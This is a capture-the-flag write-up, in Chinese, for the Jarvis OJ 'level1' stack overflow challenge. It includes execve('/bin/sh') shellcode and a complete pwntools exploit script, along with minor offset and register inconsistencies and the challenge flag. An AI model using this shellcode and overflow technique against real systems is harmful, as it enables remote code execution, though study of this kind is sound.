level1

level1
32位程序,没有开任何保护。
程序的行为,就是在开始 打印出一个十六进制数,应该是个地址,然后接收我们输入,最后退出。
“”

上 ida 看看程序。
“”

write函数没啥可说的。去那个 vulnerable_function 里看看
“”

这下就清楚了,输出的十六进制数是 buf 的起始地址。
与前面的题差不多,溢出点同样在 read 函数里。 buf 分配了 0x88 字节,read 可读 0x100
与 level0 相同,溢出的字节先覆盖 rbp,在覆盖返回地址,这里不再赘述。
“”

接下来看看字符串有没有什么收获
“”

可是什么都没有 ~ ~
那么,我们前两题使用的办法貌似都不行了。

好,回过头来想想。
题目给了我们打印出了 buf 的地址,buf 地址在程序运行时,都会重新分配,所以每次都不相同。如下图:
“”

然后,我们还是可以用溢出的数据控制返回地址。

缕一缕我们有啥, 一是 buf 的起始地址,二是可以控制返回地址。就这2点。

好,我们来想想思路。
首先,我是否可以自己写一段代码来达到启shell 的操作呢?当然,这是可以的。这样的代码我们叫 Shellcode,我这里提供2段。
1.
shellcode = “\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73”
shellcode += “\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0”
shellcode += “\x0b\xcd\x80”
2
shellcode = “\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f” \
“\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0” \
“\x0b\xcd\x80\n”

shellcode 的就是用来执行 execve (“/bin/sh”),来启到shell的。

System与exec的区别
  1、system()和exec()都可以执行进程外的命令,system是在原进程上开辟了一个新的进程,但是exec是用新进程(命令)覆盖了原有的进程
  2、system()和exec()都有能产生返回值,system的返回值并不影响原有进程,但是exec的返回值影响了原进程

大家可以数一下,这些shellcode 都不长。也就是说 buf 里面完全能够存下我们的 shellcode 代码。

又程序为我们打印出了 buf 的起始地址,所以,我们可以让在返回地址出 覆盖上 buf 的起始地址。这样,程序执行到这里,就会回到 buf 的地址去。
当然,我们输入的数据都是放在栈中的,可是 level1 nx保护都没开,也就是说堆栈是可以执行的。那我们写入的 shellcode 在栈中就能执行起来。

好,大概思路清楚了。再来缕一缕

我们在 buf 里面 写入 shellcode ,然后,覆盖返回地址到 buf 的起始位置。 buf 的起始地址,是程序给我们的。
这里,需要注意的是,返回地址是在 0x88~0x8c 这8个字节里。(0x80~0x88 覆盖 rbp)
可是,我们的shellcode 没有 0x80 这么长,也就是没有把整个buf 地址填满。那就需要我们在 shellcode 与 返回地址之间 填充一段垃圾数据
“”

那么 payload = p32(shellcode) + “A”*( 0x80 - len(shellcode) ) + p32( buf_addr )

shellcode 在上面我已经提供了,直接就可以用,2个都行。
最后就剩下 buf_addr 的地址,我们怎么得到。

这个 buf_addr 呢,是程序在一开始运行时就给我们输出了,我们只需要读取它就行。
用python中切片的方法~~ 具体代码给出

msg = p.recvuntil(“?”) #接收数据,并读到 ? 这里
offset_1 = msg.find(“:”) # 从接收的 msg 中,找到 : 并把这之前的内容赋给 offset_1
offset_2 = msg.find(“?”) # 从接收的 msg 中,找到 ? 并把这之前的内容赋给 offset_2
buf_addr = int(msg[offset_1+1 : offset] ,16 )

# 从msg中 读取 offset_1 +1 到 offset_2 之间的内容,并以 十六进制读取,转换成 int 型 赋值给buf_addr

这样我们就得到了 buf_addr 的地址。

最终的 exp :
from pwn import *

p = remote(‘pwn2.jarvisoj.com’, 9877)

#p = process(‘./level1’)
msg = p.recvuntil(“?”)
offset_1 = msg.find(“:”)
offset_2 = msg.find(“?”)
buf_addr = int(msg[offset_1+1:offset_2],16)

shellcode = “\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73”
shellcode += “\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0”
shellcode += “\x0b\xcd\x80”

payload = ‘’
payload += shellcode
payload += ‘A’ * (140 - len(shellcode))
payload += p32(buf_addr)

p.send(payload)
p.interactive()

“”
CTF{82c2aa534a9dede9c3a0045d0fec8617}